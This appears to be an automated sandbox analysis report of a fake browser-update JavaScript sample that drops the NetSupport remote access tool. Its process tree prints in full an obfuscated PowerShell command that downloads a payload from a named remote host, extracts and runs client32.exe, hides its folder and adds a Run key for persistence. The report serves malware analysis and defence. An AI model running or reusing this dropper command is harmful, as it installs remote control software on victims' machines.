Analysis
- max time kernel
645s - max time network
1188s - platform
windows11-21h2_x64 - resource
win11-20231222-en - resource tags
- submitted
29/01/2024, 17:44
General
- Target Update_browser_17.6436.js
- Size 434KB
- Sample240129-wbkcjaghbl
- SHA256 41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://ghostcitygames.com/data.php?13279
-
exe.dropper
https://ghostcitygames.com/data.php?13279
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $tonGHdaiKzgPJZKDLbgqnKAaCddJBGR='https://ghostcitygames.com/data.php?13279';$wcxYhJdBcjnheJbUaL=(New-Object System.Net.WebClient).DownloadString($tonGHdaiKzgPJZKDLbgqnKAaCddJBGR);$hBUANYPnxoFGzDeoviuGSmKuNyRbvVuSjwu=[System.Convert]::FromBase64String($wcxYhJdBcjnheJbUaL);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $zsxuNkDUwDLTauGdgvX=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $zsxuNkDUwDLTauGdgvX -PathType Container)) { New-Item -Path $zsxuNkDUwDLTauGdgvX -ItemType Directory };$p=Join-Path $zsxuNkDUwDLTauGdgvX 'lol.zip';[System.IO.File]::WriteAllBytes($p,$hBUANYPnxoFGzDeoviuGSmKuNyRbvVuSjwu);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$zsxuNkDUwDLTauGdgvX)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $zsxuNkDUwDLTauGdgvX 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $zsxuNkDUwDLTauGdgvX -Force; $FSDFSSD.attributes='Hidden';$s=$zsxuNkDUwDLTauGdgvX+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_yf1wgfak.1hi.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
pcichek.dll
memory/1476-11-0x00000278C59F0000-0x00000278C5A00000-memory.dmp
memory/1476-16-0x00000278DE2F0000-0x00000278DE302000-memory.dmp
memory/1476-15-0x00000278DE2C0000-0x00000278DE2CA000-memory.dmp
memory/1476-13-0x00000278C59F0000-0x00000278C5A00000-memory.dmp
memory/1476-12-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp
memory/1476-82-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp
memory/1476-8-0x00000278DDDC0000-0x00000278DDDE2000-memory.dmp
memory/1476-9-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp
memory/1476-10-0x00000278C59F0000-0x00000278C5A00000-memory.dmp